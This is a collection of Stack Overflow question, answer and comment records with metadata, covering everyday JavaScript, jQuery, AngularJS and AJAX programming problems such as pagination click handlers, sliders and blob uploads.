has body: I have asynchronous events that I need combining. I am constructing an array of N streams; each stream has an onValue function to process the returned data. I have tried combining all of those streams into one onValues on top of the onValue, but it does not get called properly. var streams = [] ... stream = Bacon.fromCallback .... stream.onValue...( ) streams.push(stream) ... Bacon.onValues(streams, f() { .... } ) What would be the right way to have a function called back when EACH stream has a (unique) value... AND when everything is completed?
has comment: http://stackoverflow.com/comment/40305225
upvote count: 1
type: Question
tagged with: bacon.js
score: 1
has title: Combining streams with baconjs
has answer: http://stackoverflow.com/a/25772884

http://stackoverflow.com/comment/40221272
type: QuestionComment
type: Comment
has text: Here are Dev Tools Printouts (Sorry can't post images to unexp) https://i.sstatic.net/nqp77.jpg https://i.sstatic.net/XeHff.jpg
comment on: http://stackoverflow.com/q/25725479
score: 0

http://stackoverflow.com/comment/40267097
score: 0
type: Comment
type: QuestionComment
has text: You could recursively call your load function and have a condition before anything loads, a button could toggle the variable so that you could stop and start this loading function
comment on: http://stackoverflow.com/q/25751697

http://stackoverflow.com/comment/40319623
comment on: http://stackoverflow.com/a/25766786
type: Comment
score: 0
has text: Thanks @ZiNNED I have modified the code and now it perfect.
type: AnswerComment

http://stackoverflow.com/q/25788367
has title: Links in extension pop-up and event.preventDefault()
score: 0
tagged with: preventdefault
has comment: http://stackoverflow.com/comment/40334632
type: UnansweredQuestion
has body: I am working on a Chrome extension in which upon clicking some links inside the extension pop-up, divs are hidden or shown in the same pop-up via jQuery. An example could be: // user clicks on link in pop-up $("#footer .suggest-improvements").click(function(event){ event.preventDefault(); var $suggestion = $('#suggestion'), // suggestion form div in pop-up $content = $('#content'); // main content div in pop-up $content.fadeOut("slow", function(){ $suggestion.show(); }); }); The problem is that even though I have included the event.preventDefault() statement, whenever I click on the link, the extension tries to open a new page in the browser window which obviously is what I am trying to avoid. I could use a &lt;span&gt; instead of an &lt;a&gt; element and it would work just fine, but now I am curious about this and I guess I need to know it for the future. What is the correct way of preventing the extension from opening a page in the main window when a user clicks on a link inside the extension pop-up? Thanks in advance :-)
answer count: 0
tagged with: javascript
type: Question
tagged with: google-chrome-extension
has comment: http://stackoverflow.com/comment/40334027
has comment: http://stackoverflow.com/comment/40333107

http://stackoverflow.com/comment/40256616
type: Comment
has text: I totally understand your point when you say the lock is not bad. In fact, it IS acceptable, rather than synchronous requests, where the entire script is blocked and it looks to the user as if the app froze. But I want to know how I can manage it without the user recognizing a change, not even a disabled button -- let alone the spinner. I found a solution that works for me, and I will post it as an answer for my own question soon. If my question did not address the actual topic or is poor in general, let me know and I'll update it.
comment on: http://stackoverflow.com/q/25740805
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40427963
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25830368
has text: On the encoding error, you may have picked up a stray Unicode character during your copy and paste. It happens, and can be a pain to find. You might have to paste the code over into a notepad, then paste it back and see if that works. Sometimes that will cause weird non-printing characters to drop out. If that didn't work, you might have to clear the code and retype it by hand.

http://stackoverflow.com/a/25776940
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25776524
has body: There's a case error in your code. Assuming you're running init() properly, you just have to change this line: document.getElementbyId('total').value = totalPay; To this: document.getElementById('total').value = totalPay; That is, change getElementbyId to getElementById Working JSFiddle: http://jsfiddle.net/5L4478br/
answers question: http://stackoverflow.com/q/25776524
type: Answer
has comment: http://stackoverflow.com/comment/40324457
downvote count: 0

http://stackoverflow.com/comment/40311842
score: 2
comment on: http://stackoverflow.com/q/25775994
has text: No, there isn't a way. This is browser-specific.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25841536
has comment: http://stackoverflow.com/comment/40431463
has comment: http://stackoverflow.com/comment/40438185
has comment: http://stackoverflow.com/comment/40469896
has comment: http://stackoverflow.com/comment/40433164
has title: onclick not working with the pagination on jQuery
has comment: http://stackoverflow.com/comment/40466392
has comment: http://stackoverflow.com/comment/40433575
tagged with: pagination
has comment: http://stackoverflow.com/comment/40431562
has comment: http://stackoverflow.com/comment/40432051
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40469389
has comment: http://stackoverflow.com/comment/40431894
upvote count: 0
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25841584
tagged with: jquery
score: -1
has comment: http://stackoverflow.com/comment/40432355
tagged with: ajax
has comment: http://stackoverflow.com/comment/40469459
favorite count: 0
has body: We have the table with pagination when we click on the elements first elements have the adding listeners and next pages not adding listeners.Click is not working on tables. Here is my code please Help me. And this my table Column 1 Column 2 Row 1 Label Row 1 Data Row 2 Label Row 2 Data Row 3 Label Row 3 Data Row 4 Label Row 4 Data Row 5 Label Row 5 Data Row 6 Label Row 6 Data Row 7 Label Row 7 Data Row 8 Data 1 Row 8 Data Row 9 Data 1 Row 9 Data And this is my jquery $(function () { var dataTable = $('#data_table').DataTable({ "pageLength": 6 }); var allDropDowns = dataTable.$('select'); $.each(allDropDowns, function (index, dropdown) { console.log(dropdown.value); }) }); $(document).ready(function(){ $("tr#hello").click(function() { alert("hello"); }); }); Click is working fine with the 1st pagination and not working on other pagenations.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40431608

http://stackoverflow.com/comment/40211267
score: 0
type: Comment
type: QuestionComment
has text: @HarishR This should be an answer. :)
comment on: http://stackoverflow.com/q/25721762

http://stackoverflow.com/comment/40302764
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25769841
has text: The `||` operator evaluates the first operand, and if that is falsy, it evaluates the second operand. You could write that as `if (!me.myfunc(caller)) { txt = ' "caller" argumant is not alphanumeric.'; isOK = false; }`.

http://stackoverflow.com/q/25793401
type: UnansweredQuestion
tagged with: slider
has answer: http://stackoverflow.com/a/73050796
tagged with: dynamic-variables
has answer: http://stackoverflow.com/a/25793617
downvote count: 1
type: Question
has body: I have a situation where i need to create dynamic variable in test1 ,test2 form. I know it should be done using array or object index but somehow i am not able to rsolve things. I have a silder and using it in multiple places. Js for silder: //code for slider 1 var sliders1 = []; jQuery('.slider_1').each(function() { sliders1.push(new Slider(this)) }) //code for slider 2 var sliders2 = []; jQuery('.slider_2').each(function() { sliders2.push(new Slider(this)) }) var Slider = function() { this.initialize.apply(this, arguments) } Slider.prototype = { initialize: function(slider) { this.ul = slider.children[0] this.li = this.ul.children // make &lt;ul&gt; as large as all &lt;li&gt;’s this.ul.style.width = (this.li[0].clientWidth * this.li.length) + 'px' this.currentIndex = 0 }, goTo: function(index) { // filter invalid indices if (index &lt; 0 || index &gt; this.li.length - 1) return // move &lt;ul&gt; left this.ul.style.left = '-' + (100 * index) + '%' this.currentIndex = index }, goToPrev: function() { this.goTo(this.currentIndex - 1) }, goToNext: function() { this.goTo(this.currentIndex + 1) } } Now situation is i need to make it dynamic. this is what i have tried till now. can i make silders1 , sliders2 somehow.so that i can run it according to the things mentioned above //slider count var count= jQuery("div[id*='sliders']").length; var silders = {}; for( var i=1; i &lt;= count;i++){ sliders[i] = []; var class1 = '.silder_'+i; jQuery(class1).each(function() { sliders[i].push(new Slider(this)) }); } And in my HTml it is called as //suppose for first silder &lt;a href="javascript:sliders1[0].goToNext()"&gt; for go next buttton Kindly help me with some solution . I am bit confused Here. Thanks!!!
tagged with: javascript
score: -1
has comment: http://stackoverflow.com/comment/58216091
has answer: http://stackoverflow.com/a/25793582
answer count: 3
upvote count: 0
has title: Dynamic variable in Javascript
favorite count: 0

http://stackoverflow.com/comment/40462440
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25858537
has text: `test` will only be what you want it to be when `status === 200 && readyStaty === 4`, so it won't just be available in other code outside of `onreadystatechange`. Also, your second AJAX request needs to happen inside of the other one, `onreadystatechange`, or there is no way to know if the data added to your `test` variable is not `''`.
score: 0

http://stackoverflow.com/comment/40481225
has text: What does your `series.data` look like?
comment on: http://stackoverflow.com/q/25861690
type: QuestionComment
type: Comment
score: 2

http://stackoverflow.com/comment/40340417
has text: @user3177012 I thought that might happen. You need another `if` to check if the url is the same. I'll add it.
score: 0
comment on: http://stackoverflow.com/a/25791642
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25716693
tagged with: jquery-mobile
tagged with: javascript
has comment: http://stackoverflow.com/comment/40209510
answer count: 1
tagged with: cordova
has answer: http://stackoverflow.com/a/26048718
has title: Remove default fade transition on JQuery Mobile
has body: I'm developing a mobile app with Phonegap using Jquery Mobile. First I tried to normally add a transition to a < a > tag using: Page 2 just like it's explained on JQuery Mobile documentation, but I noticed that my page was doing a fading animation before actually doing the slide, and of course it looked horrible. After that happened I thought it was because there's a default animation so I looked for ways to remove it, and I found this: But it still isn't working. I also tried to change the default transition to slide but it didn't work either. Thanks for your time, any ideas?
type: AnsweredQuestion
score: 0
tagged with: transition
accepted answer: http://stackoverflow.com/a/26048718
type: Question
tagged with: mobile

http://stackoverflow.com/a/25817468
has body: Firstly, there is a syntax error in your example when you added the click handlers for #menu-switch. You need to close the function and the call to live, like below. Notice the extra }) closing each call to live(). $(document).ready(function(){ $('.lightbox').nivoLightbox(); $('.scroll-pane').jScrollPane(); $('.scroll-pane2').jScrollPane(); $('#menu-switch1').live('click', function(event) { $('#main-tasting-menu').toggle('show'); $('#dessert-tasting-menu').toggle('hide'); }); $('#menu-switch2').live('click', function(event) { $('#main-tasting-menu').toggle('hide'); $('#dessert-tasting-menu').toggle('show'); }); }); And there are a couple more things you might want to consider. You will want to wrap everything inside the $(document).ready() call, because that will ensure that jQuery and the DOM are ready for action. And as charlietfl mentioned in a comment above, the live() method was deprecated in version 1.7. If you are using a version > 1.7, then you'll want to use on() instead. Here's an updated version of the whole thing. $(document).ready(function(){ // Cache the items you need to use inside different functions. // This is so that you don't have to call the jQuery method // on every user action. var $mainLinks = $('.main-links'); var $headerLogo = $('.header-logo'); var $mainTastingMenu = $('#main-tasting-menu'); var $dessertTastingMenu = $('#dessertTastingMenu'); var $menuSwitch_1 = $('#menu-switch1'); var $menuSwitch_2 = $('#menu-switch2'); // Setup your plugins $('.lightbox').nivoLightbox(); $('.scroll-pane').jScrollPane(); $('.scroll-pane2').jScrollPane(); // Setup your event handlers $menuSwitch_1.on('click', function(event) { $mainTastingMenu.toggle('show'); $dessertTastingMenu.toggle('hide'); }); $menuSwitch_2.on('click', function(event) { $mainTastingMenu.toggle('hide'); $dessertTastingMenu.toggle('show'); }); // I made this handler match the ones above for consistency $(window).on('scroll', function(event) { if ($(this).scrollTop() &gt; 200) { $mainLin…
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25817389
has comment: http://stackoverflow.com/comment/40387891
accepted answer of: http://stackoverflow.com/q/25817389
has comment: http://stackoverflow.com/comment/40387738
has comment: http://stackoverflow.com/comment/40388276
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/118232860
type: AnswerComment
comment on: http://stackoverflow.com/a/25831513
type: Comment
has text: Would you please look into my problem, I have similar issues https://stackoverflow.com/questions/66868972/loading-multiple-google-chart-inside-bootstrap-carousel?noredirect=1#comment118204544_66868972
score: 0

http://stackoverflow.com/comment/40245538
type: Comment
has text: @Mr_Green yep... if i do that the selector will be too long and might scare the OP :D *(hopefully he gets it from the comment)* bit lazy as well :)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25739681

http://stackoverflow.com/a/25831424
type: AcceptedAnswer
score: 0
has body: Make sure that your code is actually requesting the correct URL. You can do this with most modern browser's developer tools, including the Network tab of Chrome's.
downvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/25830847
answers question: http://stackoverflow.com/q/25830847
upvote count: 1

http://stackoverflow.com/comment/40319384
type: QuestionComment
comment on: http://stackoverflow.com/q/25718331
score: 0
has text: No pal.. I tried, its not working. I mean, That whole column values are not displaying itself, when I use ui-keypress keyword in celltemplate.
type: Comment

http://stackoverflow.com/q/25720853
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/40209827
downvote count: 0
has comment: http://stackoverflow.com/comment/40209916
type: Question
possible better answer: http://stackoverflow.com/a/25721383
has comment: http://stackoverflow.com/comment/40210290
has comment: http://stackoverflow.com/comment/40210494
tagged with: javascript
has answer: http://stackoverflow.com/a/25721605
accepted answer: http://stackoverflow.com/a/25721605
tagged with: jquery
has comment: http://stackoverflow.com/comment/40210124
upvote count: 3
answer count: 2
has title: jQuery: The input element's type does not support selection
favorite count: 0
tagged with: ajax
has answer: http://stackoverflow.com/a/25721383
tagged with: http://stackoverflow.com/tag/html
has body: I'm trying to send a form via AJAX, using jQuery. But I got the error when clicking the submitting button (it is actually a link, but doen't matter). That's the error in the console: Failed to read the 'selectionDirection' property from 'HTMLInputElement': The input element's type ('checkbox') does not support selection. I suspect the problem is that I have some checkboxes there with a multiple selection, and they've been parsed like this: var logo = $('input[name=extra]:checked'); I've tried to stringify them, so it looked like: var logo = JSON.stringify($('input[name=extra]:checked')); but it didn't seem to fix the problem. What can be the reason or am I doing something wrong? UPD: jsFiddle here

http://stackoverflow.com/comment/40263883
has text: Thank you for your reply. Unfortunately there are so many files that are using the reference so I didn't want to go through each individual file changing all of the references as it will take a long time. Also there are many files at different levels, hence why the developer used "/" in the first place to reference the root.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25749995
type: Comment

http://stackoverflow.com/comment/40430740
comment on: http://stackoverflow.com/q/25836629
has text: Can you show the table html which you need to display?
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/25870074
accepted answer: http://stackoverflow.com/a/25873462
type: Question
score: 0
has comment: http://stackoverflow.com/comment/40500172
tagged with: firebug
tagged with: firefox
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25873462
has body: Firefox 32.0.1 Firebug 2.0.4 Windows 7 I'm writing Fx extension for Firebug and this code: Firebug.currentContext.sourceCache.load(href) returns "Reload the page to get source for: http://domain.com/style.css" Any ideas why?
has title: Firebug extension context.sourceCache.load(href) returns 'Reload the page to get source for: http://'
type: AnsweredQuestion

http://stackoverflow.com/q/25792824
has answer: http://stackoverflow.com/a/25792952
answer count: 2
accepted answer: http://stackoverflow.com/a/25792952
duplicate of: http://stackoverflow.com/q/25734518
has answer: http://stackoverflow.com/a/25792883
tagged with: javascript
tagged with: jquery
linked to: http://stackoverflow.com/q/25734518
possible better answer: http://stackoverflow.com/a/25792883
has comment: http://stackoverflow.com/comment/40341788
has body: I have a tweeter feed. The feed shows a small div with some animation, first it checks if the div display property its :none if so, it toggles the visibility and writes some info from a a json file. But, If its display: block it hides the 'div'. Now I want to change the 'delay' value for 'setInterval' using the 'if' 'else' inside the function. But I can't get to change it? $(document).ready(function() { $.ajaxSetup({ cache: false }); var delay = 2000; setInterval(function() { var isVisible = $('#container').css("display") == "none"; if(isVisible) { delay = 10000; $("#container").toggle( "clip", "slow" ); $.getJSON('data.json', function (data) { document.getElementById("user").innerHTML = "&lt;h1&gt;@" + data.user.screen_name + "&lt;/h1&gt;"; }); } else { delay = 1000; $("#container").toggle( "clip", "slow" ); } }, delay ); }); Thanks!
upvote count: 1
favorite count: 0
has title: Change delay of setInverval
type: AnsweredQuestion
downvote count: 0
score: 1
type: Question

http://stackoverflow.com/q/25795720
has answer: http://stackoverflow.com/a/25796204
has comment: http://stackoverflow.com/comment/40347376
has answer: http://stackoverflow.com/a/25795780
has comment: http://stackoverflow.com/comment/40348465
type: Question
has comment: http://stackoverflow.com/comment/40347553
has comment: http://stackoverflow.com/comment/40347176
answer count: 3
upvote count: 1
has comment: http://stackoverflow.com/comment/40347716
favorite count: 0
has comment: http://stackoverflow.com/comment/40347313
has comment: http://stackoverflow.com/comment/40347225
has title: Enter key pressed fast
has comment: http://stackoverflow.com/comment/40347398
tagged with: php
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/25795834
has comment: http://stackoverflow.com/comment/40347265
accepted answer: http://stackoverflow.com/a/25796204
has comment: http://stackoverflow.com/comment/40348235
type: AnsweredQuestion
has body: I am searching from around 5000 records. The search button is working fine. But when I press enter key too fast. It does not bring the result back. I tried codes from stckoverflow.com already but it's not working for me. My textbox for search is Javascript for searchfilter() function searchFilter() { //alert(""); $("#loader").show(); var search_variable = $("#search_variable").val(); var search_value = $("#country_name").val(); //alert(search_value); $.ajax({ url: 'searchorder.php?act=save&search_variable=' + search_variable + '&search_value=' + search_value, success: function(data) { //alert(data); $("#loader").hide(); $(".contentText").html(data); // $("#feedbackcommon"+act_id).show(); } }); } HTML <?php echo SEARCH_TITLE; ?> <?php echo ORDER_ID; ?> <?php echo PO_NO; ?> <?php echo ISSUE_NO; ?> <?php echo SERIAL_NO; ?> <?php echo NAME_STORE; ?> <input type="button" name="Button" id="button" value="<?php echo SEARCH_BUTTON; ?>" class="myButton" onclick="searchFilter();" /> <input type="button" name="button2" id="button2" value="<?php echo CLEAR_BUTTON; ?>" class="myButton" />
has comment: http://stackoverflow.com/comment/40347686
possible better answer: http://stackoverflow.com/a/25795780
tagged with: javascript

http://stackoverflow.com/a/25746705
type: Answer
has comment: http://stackoverflow.com/comment/40277671
answers question: http://stackoverflow.com/q/25746218
score: 0
has body: you can use the url of the webview to call javascript Android Calling JavaScript functions in WebView so, just send a command like javascript:document.getElementById("myId").onclick();

http://stackoverflow.com/q/25742133
has comment: http://stackoverflow.com/comment/40249541
has answer: http://stackoverflow.com/a/25742243
possible better answer: http://stackoverflow.com/a/25742371
upvote count: 10
type: Question
has answer: http://stackoverflow.com/a/54238018
has answer: http://stackoverflow.com/a/25742309
answer count: 8
has comment: http://stackoverflow.com/comment/40249286
score: 10
tagged with: javascript
has answer: http://stackoverflow.com/a/25742363
has answer: http://stackoverflow.com/a/25742273
has answer: http://stackoverflow.com/a/25742299
accepted answer: http://stackoverflow.com/a/25742299
tagged with: datatables
downvote count: 0
has answer: http://stackoverflow.com/a/25742371
favorite count: 0
has answer: http://stackoverflow.com/a/25742374
has body: I am using JQuery datatable, I need to change the color of the row on the mouse over event (the highligthed row) I tried: table.display tr.even.row_selected td { background-color: red; } table.display tr.odd.row_selected td { background-color: blue; } JSFiddle
tagged with: css
has title: Jquery dataTable change row color
has comment: http://stackoverflow.com/comment/40249689
type: AnsweredQuestion

http://stackoverflow.com/a/25853890
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/25853803
has body: $("#clases").change(function () { $("#descripcion").toggle(); });
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25853803
type: Answer

http://stackoverflow.com/comment/40397930
type: QuestionComment
comment on: http://stackoverflow.com/q/25823316
has text: My problem is that I'm inserting the data in correctly but when I'm echoing it out in Google charts it doesn't escape. Do you know where I should put it? $tablequery = mysqli_query($dbc,"SELECT handle,t_text, t_date,t_time,sentiment, score FROM tweets "); <-- I then run a while loop to iterate through the column of t_text
score: 0
type: Comment

http://stackoverflow.com/a/25822822
score: 0
has comment: http://stackoverflow.com/comment/40397135
answers question: http://stackoverflow.com/q/25822560
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40396929
has comment: http://stackoverflow.com/comment/40397507
type: Answer
has comment: http://stackoverflow.com/comment/40397600
has body: Make your observable array's elements observable. With mapping plugin, so that your isSelected will be an observable and reflects it's value change to the ui. Change your getJson method (untested code) $.getJSON('/api/usersprofiles?userguid=' + $("#MainContent_guid").val(), function(data) { ko.mapping.fromJS(data, self.pref); }); Or instead of using the mapping plugin u can create a new pref object and bind the data from server to that in a loop and push them into the observableArray. This way is more controllable then using mapping plugin. var oPref = function (data) { var self = this; self.Id = ko.observable(data.Id); self.IsSelected = ko.observable(data.IsSelected); self.name = ko.observable(data.name); self.imgLink = ko.observable(data.imgLink); self.toggle = function () { if (self.IsSelected()) self.IsSelected(false); else self.IsSelected(true); } } function StyleViewModel() { var dataFromServer = [ { Id: 1, IsSelected: false, name: "name1", imgLink: "img/style1.png" }, { Id: 2, IsSelected: false, name: "name2", imgLink: "img/style2.png" }, { Id: 3, IsSelected: false, name: "name3", imgLink: "img/style3.png" }] var self = this; self.pref = ko.observableArray(); ko.utils.arrayForEach(dataFromServer, function(item) { self.pref.push(new oPref(item)); }); } $(document).ready(function () { ko.applyBindings(new StyleViewModel()); }); And your html should be like follows Вкусы Что вам по душе? Поехали!
accepted answer of: http://stackoverflow.com/q/25822560

http://stackoverflow.com/comment/40299502
has text: I'm sorry for the confusion so thanks for pointing it out. I've tried to migrate the newsletter from XML to JSON adapting a demonstration from a JavaScript and JSON Essentials book with an alternating use of .js and .json files as data source. And yes, newsletter.json contains the array, and I included it here simply not to leave out any details.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25748328

http://stackoverflow.com/comment/40489791
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25870585
score: 0
has text: Strange, on chrome it always display but cannot insert text in url modal. In safari the same behavior as firefox.

http://stackoverflow.com/comment/40207946
score: 0
type: QuestionComment
type: Comment
has text: Don't mix tables and `fixed`. Just make it a `div` or `nav`. Also, with small-screen media, you will probably want to do something different. Extremely hard to say anything without code and more specific description of issues.
comment on: http://stackoverflow.com/q/25719919

http://stackoverflow.com/a/25755320
has comment: http://stackoverflow.com/comment/40276773
type: Answer
has comment: http://stackoverflow.com/comment/40314724
has body: You have myAudio.play(); this will be basically the same thing as having the autoplay attribute. I guess you copy/pasted the JS code :)
answers question: http://stackoverflow.com/q/25755205
has comment: http://stackoverflow.com/comment/40338551
has comment: http://stackoverflow.com/comment/40277078
score: 0

http://stackoverflow.com/comment/40351306
has text: depends on page but one thing would help would be to use `resolve` of routing to make sure all data is available before template loads. Also look into `$timeout`. `$broadcast` might also help , send event to directive from other part of your controller code
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25797497
type: Comment

http://stackoverflow.com/comment/40242958
has text: Thanks I got your point. When i used firebug to see the HTML, it was clear
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25738018

http://stackoverflow.com/comment/40235808
comment on: http://stackoverflow.com/q/25734608
score: 0
has text: Alternatively `'[' + Array.prototype.map.call(arrayObject, JSON.stringify).join(',') + ']'`
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40365186
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/25791379
has text: Probably it is related with known bug in Chrome reported [here](https://productforums.google.com/forum/#!category-topic/chrome/report-a-problem-and-get-troubleshooting-help/mac/Beta/iowS3DZmebo)

http://stackoverflow.com/comment/40484380
type: Comment
has text: I've got this one to work, and does seem a little easier to read as well.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25870901

http://stackoverflow.com/q/25751017
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40270689
score: 3
linked to: http://stackoverflow.com/q/6664967
has comment: http://stackoverflow.com/comment/40270600
has body: I'm working on a testing framework that needs to pass files to the drop listener of a PLUpload instance. I need to create blob objects to pass inside a Data Transfer Object of the sort generated on a Drag / Drop event. I have it working fine for text files and image files. I would like to add support for PDF's, but it seems that I can't get the encoding right after retrieving the response. The response is coming back as text because I'm using Sahi to retrieve it in order to avoid Cross-Domain issues. In short: the string I'm receiving is UTF-8 encoded and therefore the content looks like you opened a PDF with a text editor. I am wondering how to convert this back into the necessary format to create a blob, so that after the document gets uploaded everything looks okay. What steps do I need to go through to convert the UTF-8 string into the proper blob object? (Yes, I am aware I could submit an XHR request and change the responseType property and (maybe) get closer, however due to complications with the way Sahi operates I'm not going to explain here why I would prefer not to go this route). Also, I'm not familiar enough but I have a hunch maybe I lose data by retrieving it as a string? If that's the case I'll find another approach. The existing code and the most recent approach I have tried is here: var data = '%PDF-1.7%����115 0 obj&lt;&lt;/Linearized 1/L ...' var arr = []; var utf8 = unescape(encodeURIComponent(data)); for (var i = 0; i &lt; utf8.length; i++) { arr.push(utf8.charCodeAt(i)); } var file = new Blob(arr, {type: 'application/pdf'});
has comment: http://stackoverflow.com/comment/40268255
tagged with: plupload
linked to: http://stackoverflow.com/q/17657184
accepted answer: http://stackoverflow.com/a/45771883
type: Question
has comment: http://stackoverflow.com/comment/40266761
tagged with: blob
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
has title: How to load a PDF into a blob so it can be uploaded?
tagged with: http://stackoverflow.com/tag/pdf
has answer: http://stackoverflow.com/a/45771883
upvote count: 3

http://stackoverflow.com/comment/40363972
type: Comment
has text: Or, if you prefer, just use `str = String(num)`
score: 1
comment on: http://stackoverflow.com/a/25804801
type: AnswerComment

http://stackoverflow.com/q/25817679
type: AnsweredQuestion
upvote count: 0
has body: I am using SilverStripe 3.0 with the silverstripe-userforms submodule. This is really difficult to explain so please be patient. I want to add a custom function (check textarea word count) to a Form, however I am unsure of how best to attach the function as I dont want to hack the core validation js files. $('button[type="submit"]').entwine({ onclick: function () { var $this = $('textarea.max-words'); var wordcount = getWords($this); if (wordcount &gt; maxWords) { if ($this.next().is("span")) { $('#maxwords-error').html(function () { return spanText(wordcount, maxWords); }); } else { $this.after(function () { return "&lt;span id='maxwords-error' class='required message'&gt;" + spanText(wordcount, maxWords) + "&lt;/span&gt;" }); return false; } } } }) Silverstripe uses the entwine library so I have tried to do the same. My problem is this When run, the user is first prompted to complete the required word count as per the function above. Once this condition is met, other additional validation be run as per the module (e.g. need to add a valid email address to the email field) form fields. The user can complete the word count as per custom function, but if another part of the validation fails (e.g. the email field does not contain a valid email) the user can add an email, but then change the word count and submit successfully. Once the function is successful it never seems to run again. How do I get my custom function to run each time the submit button is pushed, irrelevant of if the word count was correct or incorrect previously.
tagged with: silverstripe
type: Question
has answer: http://stackoverflow.com/a/25884578
accepted answer: http://stackoverflow.com/a/25884578
tagged with: javascript
tagged with: jquery
score: -1
has title: How to effectively add additional custom JQuery function to Submit Button on Forms with SilverStripe
answer count: 1
downvote count: 1
favorite count: 0
tagged with: php

http://stackoverflow.com/comment/40446328
type: Comment
type: QuestionComment
has text: Nope. Not sure where I am going wrong
score: 0
comment on: http://stackoverflow.com/q/25849510

http://stackoverflow.com/q/25847811
tagged with: jquery
has answer: http://stackoverflow.com/a/25847907
tagged with: ajax
has answer: http://stackoverflow.com/a/25847857
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/40442232
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
has title: Send data from AJAX function to PHP file
type: UnansweredQuestion
tagged with: php
upvote count: 1
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25847878
has body: I have an AJAX function that take data form a submit form and should pass varaibles to process.php index.html is the main page &lt;!DOCTYPE html&gt; &lt;html lang="it"&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt; &lt;title&gt;League of Legends Straw Poll&lt;/title&gt; &lt;link rel="stylesheet" type="text/css" href="css/bootstrap.css"&gt; &lt;link rel="stylesheet" type="text/css" href="css/styles.css" /&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container"&gt; &lt;div class="row"&gt; &lt;div class="col-md-8 col-md-offset-2"&gt; &lt;h1 class="text-center"&gt;Game Straw Poll&lt;/h1&gt; &lt;/div&gt; &lt;/div&gt; &lt;br&gt; &lt;div class="row"&gt; &lt;div class="col-md-6 col-md-offset-3"&gt; &lt;div class="panel panel-default"&gt; &lt;div class="panel-body"&gt; &lt;!-- FORM --&gt; &lt;form name="form" id="form" method="post"&gt; &lt;div class="row"&gt; &lt;div class="col-md-12"&gt; &lt;!-- GAME --&gt; &lt;select class="form-control" id="game-group" name="game" onchange="ChangeBackground();"&gt; &lt;option selected disabled&gt;Select your Game...&lt;/option&gt; &lt;option value="League_of_Legends"&gt;League of Legends&lt;/option&gt; &lt;option value="Heartstone"&gt;Hearthstone&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;/div&gt; &lt;br&gt; &lt;div class="row"&gt; &lt;div class="col-md-12"&gt; &lt;!-- QUESTION --&gt; &lt;div class="input-group" id="question-group"&gt; &lt;input type="text" class="form-control" name="question" id="question" placeholder="Start typing your question..."&gt; &lt;span class="input-group-addon"&gt; &lt;i class="glyphicon glyphicon-question-sign"&gt;&lt;/i&gt; &lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;br&gt; &lt;div class="row"&gt; &lt;!-- OPTIONS --&gt; &lt;div class="form-group form-group-options col-md-12 col-sm-12 col-xs-12"&gt; &lt;div class="input-group input-group-option col-md-12 col-sm-12 col-xs-12" id="options-group"&gt; &lt;input type="text…
tagged with: javascript

http://stackoverflow.com/comment/40487244
has text: So this cannot be done with toggle?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25872348

http://stackoverflow.com/q/25798402
tagged with: javascript
has comment: http://stackoverflow.com/comment/40353896
score: 4
has answer: http://stackoverflow.com/a/25871683
has comment: http://stackoverflow.com/comment/40355585
has title: How to properly add new directives to a directive during its definition
has comment: http://stackoverflow.com/comment/40353051
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40473232
tagged with: angularjs
has body: I'm having a major problem with dynamic directives withing angularjs. I'm trying to add new directives to a directive during its definition through an object: compile: function () { return { pre: function (scope, iElement, iAttrs) { // in this case cbAttrs is an object {cbSuggest: true, cbDatepicker: true}, for example scope.objects = JSON.parse(iAttrs.cbAttrs); if (!iAttrs.compiled) { angular.forEach(scope.objects, function(props) { for (var prop in props) { iAttrs.$set(prop, (typeof props[prop] === 'object' ? JSON.stringify(props[prop]) : props[prop])); } }); iAttrs.$set('dataCompiled', true); $compile(iElement)(scope); } } }; } I've managed to make it work this way. But honestly I really don't feel is the right way of doing and I can't understand why I have to compile the element during the PRE compiling stage of the directive. And if I add it this way, the input will behave oddly, for example: trying to move left inside the input and then deleting a letter will make the cursor go right to the end of the input. I've tried it within the link function, and it will generate the same exact behavior for the input: link: function(scope, elem, attrs) { scope.objects = JSON.parse(attrs.cbAttrs); if (!attrs.compiled) { angular.forEach(scope.objects, 